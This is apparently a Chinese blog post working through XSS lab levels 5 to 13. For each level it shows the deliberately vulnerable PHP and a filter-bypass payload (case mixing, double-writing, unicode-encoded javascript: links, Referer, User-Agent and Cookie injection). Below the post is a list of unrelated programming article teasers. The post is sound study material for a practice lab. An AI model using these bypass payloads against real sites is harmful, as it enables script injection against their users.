当前位置：首页 > news >正文

每日进步一点点（网安）

news 来源：原创 2025/5/22 17:47:19

1.1 level5

查看源码关键部分


$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);<input name=keyword  value="'.$str3.'">

关键部分就四句话，get传的参数，要是有<script>标签将被转换为<scr_ipt>所以不能使用这个标签，要是有on则会转化为o_n，所以就不能使用onfocus事件来传参，虽然str_replace不区分大小写，但是有字母转换为小写的函数。就是strtolower，将get传入的参数全部转换为小写，所以就不能用大小写传参

只能找一个新的方法，就是a href 标签，就是超链接标签，可以跳转到其他链接的页面

当点击<a>标签，就会跳转到指定链接网站

构造str3，将str3嵌套在input的value中，首先就是要闭合input标签，然后就是构造<a>标签

本题payload：

"> <a href=javascript:alert()>通关</a>

点击通关，即可成功

1.2 level6

查看源码关键部分

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

发现本关过滤了好多东西，<script>,on,src,data,href都被过滤，说明前几关的方法都不行，仔细观察，本关没有大小写过滤，说明就可以构造大小写来绕过，这样前面的方法通过大小写都可以在本关绕过

共有三种payload：

"> <sCript>alert(1)</sCript>

" Onfocus=javascript:alert() "

"> <a hRef=javascript:alert()>通关</a>

1.3 level7

查看源码关键部分

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

发现本关过滤了好多东西，<script>,on,src,data,href都被过滤，甚至把大小写也过滤了，但是不慌，我们这里可以进行双写绕过、

比如on，我们可以写成oonn，当中间on被删掉的时候，就变成了on

比如script，可以写成scscriptipt，当中间script被删掉的时候，就变成了script

本关payload：

"> <a hrehreff=javasscriptcript:alert()>通关</a>

1.4 level8

查看源码关键部分

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'"><?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

发现本关过滤了好多东西，<script>,on,src,data,href都被过滤，甚至把大小写也过滤了，还有把双引号也绕过，value值也被实体化，这下前面的方法都不能绕过

但是我们能利用href的隐藏属性自动Unicode解码，我们可以插入一段js伪协议

javascript:alert()

利用unicode在线编码，将其转码

本关payload：

javascript:alert()

1.5 level9

查看源码关键部分

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

发现和上一题很相似，但是多了下面的strpos函数

发现传参的值必须有http://这个，才可以绕过，我们只需要往传入的值加上http://即可，但是加上后就构造不成一个有效的指令，这里我们在用注释符把http://注释掉就可以了，注释符为/**/

本关payload：

javascript:alert()/*http://*/

1.6 level10

查看源码关键部分

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

这里就没有上几关过滤的东西多了，过滤了<>，所以不能用闭合input标签来绕过，所以就可以用onfocus事件绕过，但是这里传参的值是hidden，输入框被隐藏了，没有输入框，怎么用onfocus事件呢？不慌，这里我们可以把type改成text即可，就是添加type="text"，这里get传参名是t_sort

本关payload：(get传参)

?t_sort=" onfocus=javascript:alert() type="text

1.7 level11

查看源码关键部分

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

分析可得，get传参的值嵌套在input的value中，也就是str33的值，分析str33

<>被过滤，还有_SERVER，str11中的参数是referer

就代表着，str3的值还包括http头，就说明在referer中记录，所以用bp抓包，改一下referer的值，添加http头

用onfocus+http头构造payload

本关payload：

Referer: " onfocus=javascript:alert() type="text

1.8 level12

查看源码关键部分

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

观察发现是UA头，因为str11参数有UA

所以和上题一样，构造为UA头即可

本关payload：

" onfocus=javascript:alert() type="text

1.9 level 13

查看源码关键部分

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">

观察发现是COOKIE，是因为str11，cookie的参数是user，所以我们改user的值就可以了

本关payload：

" onfocus=javascript:alert() type="text

每日进步一点点（网安）

1.1 level5 查看源码关键部分 $str strtolower($_GET["keyword"]); $str2str_replace("<script","<scr_ipt",$str); $str3str_replace("on","o_n",$str2);<input namekeyword value".$str3.">关键…...

编程日记 2025/5/22 17:47:19

代理模式 - 代理模式的应用

引言代理模式（Proxy Pattern）是一种结构型设计模式，它允许你提供一个代理对象来控制对另一个对象的访问。代理对象通常会在客户端和目标对象之间起到中介的作用，从而可以在不改变目标对象的情况下，增加额外的功能或控…...

编程日记 2025/5/22 17:37:54

机器学习-线性回归（对于f(x；w)=w^Tx+b理解）

一、𝑓(𝒙;𝒘) 𝒘T𝒙的推导学习线性回归，我们那先要对于线性回归的表达公示，有所认识。我们先假设空间是一组参数化的线性函数： 其中权重向量𝒘 ∈ R𝐷 …...

编程日记 2025/5/18 23:38:11

【Salesforce】审批流程，代理登录 tips

审批流程权限审批流程权限问题解决方案代理登录代理登录后Logout 审批流程权限前几天，使用审批流程，但是是两个sandbox，同样的配置，我有管理员权限。但是profile不是管理员，只是通过具备管理员权限的permission set…...

编程日记 2025/5/6 14:50:00

第20篇：Python 开发进阶：使用Django进行Web开发详解

第20篇：使用Django进行Web开发内容简介在上一篇文章中，我们深入探讨了Flask框架的高级功能，并通过构建一个博客系统展示了其实际应用。本篇文章将转向Django，另一个功能强大且广泛使用的Python Web框架。我们将介绍Django的核…...

编程日记 2025/5/21 22:49:42

Elastic Agent 对 Kafka 的新输出：数据收集和流式传输的无限可能性

作者：来 Elastic Valerio Arvizzigno, Geetha Anne 及 Jeremy Hogan 介绍 Elastic Agent 的新功能：原生输出到 Kafka。借助这一最新功能，Elastic 用户现在可以轻松地将数据路由到 Kafka 集群，从而实现数据流和处理中无与伦比的可扩…...

编程日记 2025/5/21 16:21:44

IPoIB（IP over InfiniBand）数据接收与发送机制详解

IPoIB（IP over InfiniBand）是一种在InfiniBand网络上实现IP协议的技术，它允许在InfiniBand网络上传输IP数据包。IPoIB通过将IP数据包封装在InfiniBand的数据包中，实现了在InfiniBand网络上的高效通信。本文将详细分析IPoIB如何接收…...

编程日记 2025/5/22 16:43:58

快速更改WampServer根目录php脚本 <?php // 配置文件地址 $apacheConfPath C:\Install\CTF\Wampserver\bin\apache\apache2.4.62.1\conf\httpd.conf; $apacheConfPath2 C:\Install\CTF\Wampserver\bin\apache\apache2.4.62.1\conf\extra\httpd-vhosts.conf; // 新根目录…...

编程日记 2025/5/22 17:26:29

C#，入门教程(08)——基本数据类型及使用的基础知识

上一篇： C#，入门教程(07)——软件项目的源文件与目录结构https://blog.csdn.net/beijinghorn/article/details/124139947 数据类型用于指定数据体（DataEntity，包括但不限于类或结构体的属性、变量、常量、函数返回值）…...

编程日记 2025/5/22 17:12:03

【自定义函数】编码-查询-匹配

目录自定义编码匹配编码匹配改进 sheet来源汇总来源汇总改进 END 自定义编码匹配在wps vb环境写一个新的excel函数名为编码匹配，第一个参数指定待匹配文本所在单元格（相对引用），第二个参数指定关键词区域（绝对引用&…...

编程日记 2025/5/22 17:08:55

docker-制作镜像gcc添加jdk运行java程序

最近的项目需要使用java调用c的链接库，.OS文件，一开始准备在jdk的镜像下去安装c的环境，不过安装的内容很多，比较复杂也容易缺很多的包，经过实验，我们决定使用gcc的镜像安装jdk来正确的运行java程序。基础镜…...

编程日记 2025/5/19 3:18:51

工业相机 SDK 二次开发-Sherlock插件

本文介绍了 sherlock 连接相机时的插件使用。通过本套插件可连接海康的工业相机。一．环境配置 1. 拷贝动态库在用户安装 MVS 目录下按照如下路径 Development\ThirdPartyPlatformAdapter 找到目录为 DalsaSherlock 的文件夹，根据 Sherlock 版本找到…...

编程日记 2025/5/22 16:45:38

智慧消防营区一体化安全管控 2024 年度深度剖析与展望

在 2024 年，智慧消防营区一体化安全管控领域取得了令人瞩目的进展，成为保障营区安全稳定运行的关键力量。这一年，行业在政策驱动、技术创新应用、实践成果及合作交流等方面呈现出多元且深刻的发展态势，同时也面临着一系列亟待解决…...

编程日记 2025/5/22 16:53:26

On to OpenGL and 3D computer graphics

2. On to OpenGL and 3D computer graphics 声明：该代码来自：Computer Graphics Through OpenGL From Theory to Experiments，仅用作学习参考 2.1 First Program Square.cpp完整代码 /// // square.cpp // // OpenGL program to draw a squ…...

编程日记 2025/5/22 16:51:24

python实现http文件服务器访问下载

//1.py import http.server import socketserver import os import threading import sys# 获取当前脚本所在的目录 DIRECTORY os.path.dirname(os.path.abspath(__file__))# 设置服务器的端口 PORT 8000# 自定义Handler，将根目录设置为脚本所在目录 class MyHTT…...

编程日记 2025/5/20 0:00:06

Redis高阶5-布隆过滤器

Redis布隆过滤器由一个初始值都为零的bit数组和多个哈希函数构成，用来快速判断集合中是否存在某个元素目的减少内存占用方式不保存数据信息，只是在内存中做一个是否存在的标记flag 布隆过滤器（英语：Bloom Filter&#xff0…...

编程日记 2025/5/19 11:30:50

Hive关于数据库的语法,warehouse,metastore

关于数据库的语法在default数据库下,查看其他数据库的表 in 打开控制台字体大小的设置 Hive默认的库: default, 1/4说明一共有4个库,现在只展示了1个,单击>>所有架构数据库的删除方法一: 语法删除有表的数据库,加cascade 方法二当前连接的数据库切换当前数据库…...

编程日记 2025/5/21 5:11:25

Kafka 深入服务端 — 时间轮

Kafka中存在大量的延迟操作，比如延时生产、延时拉取和延时删除等。Kafka基于时间轮概念自定义实现了一个用于延时功能的定时器，来完成这些延迟操作。 1 时间轮 Kafka没有使用基于JDK自带的Timer或DelayQueue来实现延迟功能，因为它们的插入和…...

编程日记 2025/5/18 17:18:48

ubuntu系统docker环境搭建

ubuntu系统docker环境搭建 docker引擎安装高版本docker引擎安装时已经自带有docker compose 安装参考docker官网Install Docker Engine on Ubuntu 方式一： 在线安装参考apt方式安装 1、Set up Docker’s apt repository. # Add Dockers official GPG key: …...

编程日记 2025/5/22 17:24:49

安宝特方案 | AR在供应链管理中的应用：提升效率与透明度

随着全球化的不断深入和市场需求的快速变化，企业对供应链管理的要求也日益提高。如何在复杂的供应链环境中提升效率、降低成本，并确保信息的透明度，成为了各大行业亟待解决的问题。而增强现实（AR）技术，特别…...

编程日记 2025/5/21 10:27:17

[ Spring ] Spring Cloud Alibaba Message Stream Binder for RocketMQ 2025

文章目录 IntroduceProject StructureDeclare Plugins and ModulesApply Plugins and Add DependenciesSender PropertiesSender ApplicationSender ControllerReceiver PropertiesReceiver ApplicationReceiver Message HandlerCongratulationsAutomatically Send Message By …...

编程日记 2025/5/22 13:38:39

再述 Dijkstra

再述 Dijkstra 学 Dijkstra 好久了，今天再学了一遍，感觉推翻了好多自己的知识…… 定义一种用于求非负权值的图的单源最短路径的算法。方法已知：如果要求从起始点 s 到某一个点 x 的最短路径，显然只能从某一个已确认为最短…...

编程日记 2025/5/22 17:43:25

大语言模型之prompt工程

前言随着人工智能的快速发展，我们正慢慢进入AIGC的新时代，其中对自然语言的处理成为了智能化的关键一环，在这个大背景下，“Prompt工程”由此产生，并且正逐渐成为有力的工具... LLM （Large Language Mode…...

编程日记 2025/5/14 6:52:10

JavaScript系列（43）--依赖注入系统实现详解

JavaScript依赖注入系统实现详解 💉 今天，让我们深入探讨JavaScript的依赖注入系统实现。依赖注入是一种设计模式，它通过将依赖关系的创建和管理从代码中分离出来，提高了代码的可维护性和可测试性。依赖注入基础概念 &#x1f…...

编程日记 2025/5/22 8:05:09

Mono里运行C#脚本36—加载C#类定义的成员变量和方法的数量

前面分析了加载类和基类的基本过程，接着来分析一下加载成员变量和方法的数量。因为我们知道C#语言定义一个类，主要就是定义成员变量，以及那些对此成员变量进行操作的方法，所以需要使用一种方法来描述C#语言定义类的能力。一般情况下，主要有两种类型：普通的类，比如前…...

编程日记 2025/5/22 17:04:55

SWPU 2022 新生赛--web题

奇妙的MD5 进入靶场然我们输入一个特殊的字符串，然后我到处翻了翻，发现有提示在MD5中有两个特殊的字符串 0e215962017 //MD5加密后弱比较等于自身 ffifdyop //MD5加密后变成万能密码这里明显就是万能密码了输入之后就来到了这个页…...

编程日记 2025/5/17 4:49:56

Windows 靶机常见服务、端口及枚举工具与方法全解析：SMB、LDAP、NFS、RDP、WinRM、DNS

在渗透测试中，Windows 靶机通常会运行多种服务，每种服务都有其默认端口和常见的枚举工具及方法。以下是 Windows 靶机常见的服务、端口、枚举工具和方法的详细说明： 1. SMB（Server Message Block） 端口 445/TCP&…...

编程日记 2025/5/22 17:01:09

记一次Linux共享内存段排除Bug：key值为0x0000000的共享内存段删除不了

本文目录一、问题情况二、解决方法2.1 通过kill命令删除2.2 通过程序删除一、问题情况今天查看共享内存段发现好多共享内存段，而且命令ipcrm -m <shmid>删除不了。回想了一下，应该是有一些程序跑while循环，或者死循环&#xff0c…...

编程日记 2025/5/21 21:30:10

RV1126画面质量四：GOP改善画质

一． 什么是 GOP GOP 实际上就是两个 I 帧的间隔，比方说分辨率是 1920 * 1080 50 帧，假设 GOP 为 5，那就是大概 2s 插入一个 I 帧。我们再回顾下，H264/H265 的帧结构。H264/H265 分别分为三种帧类型：I 帧、…...

编程日记 2025/5/20 5:52:48

手机app如何跳过无障碍权限实现弹框自动点击-ADB连接专题

手机app如何跳过无障碍权限实现弹框自动点击 --ADB连接专题一、前言我们在前期的时候，在双SIM卡进行协同外呼和SIM卡切换时，对如何在手机中“执行批处理脚本做自动点击”的内容进行预研，力图使用事件触发和坐标点击等方式来实现手机安装…...

编程日记 2025/5/22 17:32:25

kafka-保姆级配置说明(consumer)

bootstrap.servers #deserializer应该与producer保持对应 #key.deserializer #value.deserializer ##fetch请求返回时，至少获取的字节数，默认值为1 ##当数据量不足时，客户端请求将会阻塞 ##此值越大，客户端请求阻塞的时间越长&…...

编程日记 2025/5/19 0:08:56

c语言中的数组（上）

数组的概念数组是⼀组相同类型元素的集合； 数组中存放的是1个或者多个数据，但是数组元素个数不能为0。数组中存放的多个数据，类型是相同的。数组分为⼀维数组和多维数组，多维数组⼀般⽐较多⻅的是⼆维数组。数组创建在C语言…...

编程日记 2025/5/22 17:18:59

20250122-正则表达式

1. 正则标记表示一位字符：\\ 表示指定的一位字符：x 表示任意的一位字符：. 表示任意一位数字：\d 表示任意一位非数字：\D 表示任意一个字母：[a-zA-Z]（大写或小写） 表示任意一个…...

编程日记 2025/5/16 9:07:37

（回溯法子集）leetcode78

#include<iostream> #include<string> #include<vector> //只有子集需要在每个结点收集结果，其余在叶子结点收集结果 using namespace std; vector<vector<int>>ans; vector<int>combine; void backtracking(int index,vector&…...

编程日记 2025/5/22 17:39:45

Pyecharts之图表组合与布局优化

在数据可视化中，我们经常需要将多个图表组合在一起，以展示不同维度的数据或者进行对比分析。同时，合理的布局能够提升图表的可读性和用户体验。Pyecharts 提供了强大的组件和方法，让我们可以轻松实现图表的组合和布局优化。本篇将…...

编程日记 2025/5/20 8:20:41

代码随想录训练营第五十六天| 108.冗余连接 109.冗余连接II

108.冗余连接题目链接：卡码网题目链接（ACM模式） (opens new window) 讲解链接：代码随想录并查集可以解决什么问题：两个节点是否在一个集合，也可以将两个节点添加到一个集合中。引自代码随想录&#xff…...

编程日记 2025/5/22 17:34:29

私有包上传maven私有仓库nexus-2.9.2

一、上传二、获取相应文件三、最后修改自己的pom文件...

编程日记 2025/5/20 3:45:31

二叉搜索树中的搜索(力扣700)

首先介绍一下什么是二叉搜索树。二叉搜索树是一个有序树： 若它的左子树不空，则左子树上所有结点的值均小于它的根结点的值；若它的右子树不空，则右子树上所有结点的值均大于它的根结点的值；它的左、右子树也分别为二叉…...

编程日记 2025/5/19 22:44:48

社区养老服务平台的设计与实现(代码+数据库+LW)

摘要互联网发展至今，无论是其理论还是技术都已经成熟，而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播，搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱，出错率高，信息安全性差&#…...

编程日记 2025/5/19 23:47:43

高速光模块中的并行光学和WDM波分光学技术

随着AI大模型训练和推理对计算能力的需求呈指数级增长，AI数据中心的网络带宽需求大幅提升，推动了高速光模块的发展。光模块作为数据中心和高性能计算系统中的关键器件，主要用于提供高速和大容量的数据传输服务。光模块提升带宽的方法有两种…...

编程日记 2025/5/22 13:54:19

python生成图片和pdf，快速

1、下载安装 pip install imgkit pip install pdfkit2、wkhtmltopdf工具包，下载安装下载地址：https://wkhtmltopdf.org/downloads.html 3、生成图片 import imgkit path_wkimg rD:\app\wkhtmltopdf\bin\wkhtmltoimage.exe # 工具路径，安…...

编程日记 2025/5/22 16:40:17

浅谈在AI时代GIS的发展方向和建议

在AI时代，GIS（地理信息系统）的发展正经历着深刻的变革，随着人工智能技术的进步，GIS不再仅仅是传统的地图和空间数据处理工具，而是向更加智能化、自动化、精准化的方向发展。作为一名GIS开发工程师&#xff…...

编程日记 2025/5/22 16:40:17

【25考研】中科院软件考研复试难度分析！

中科院软件复试不需要上机！且对专业综合能力要求较高！提醒同学一定要认真复习！ 一、复试内容二、参考书目官方并未明确给出，建议同学参考初试书目： 1）《数据结构（C语言版）》严蔚…...

编程日记 2025/5/22 16:42:05

【2024年华为OD机试】 (A卷,200分)- 计算网络信号、信号强度（JavaScriptJava PythonC/C++）

一、问题描述题目解析问题描述我们有一个 m x n 的二维网格地图，每个格子可能是以下几种情况之一： 0：表示该位置是空旷的。x（正整数）：表示该位置是信号源，信号强度为 x。-1：表示该位置是阻隔物，信号无法直接穿透。信号源只有一个，阻隔物可能有多个。信号在传播…...

编程日记 2025/5/19 10:34:35

SpringBoot整合Swagger UI 用于提供接口可视化界面

目录一、引入相关依赖二、添加配置文件三、测试四、Swagger 相关注解一、引入相关依赖图像化依赖 Swagger UI 用于提供可视化界面： <dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger-ui</artifactI…...

编程日记 2025/5/22 10:07:57

C语言：数据的存储

本文重点： 1. 数据类型详细介绍 2. 整形在内存中的存储：原码、反码、补码 3. 大小端字节序介绍及判断 4. 浮点型在内存中的存储解析数据类型结构的介绍： 类型的基本归类： 整型家族浮点家族构造类型： 指针类型&…...

编程日记 2025/5/18 6:08:48

OpenFGA

1.什么是OpenFGA Fine-Grained Authorization 细粒度关系型授权 2.什么是细粒度授权细粒度授权 (FGA) 意味着能够授予特定用户在特定资源中执行特定操作的权限。精心设计的 FGA 系统允许您管理数百万个对象和用户的权限。随着系统不断添加对象并更新用户的访问权限&#…...

编程日记 2025/5/15 14:08:28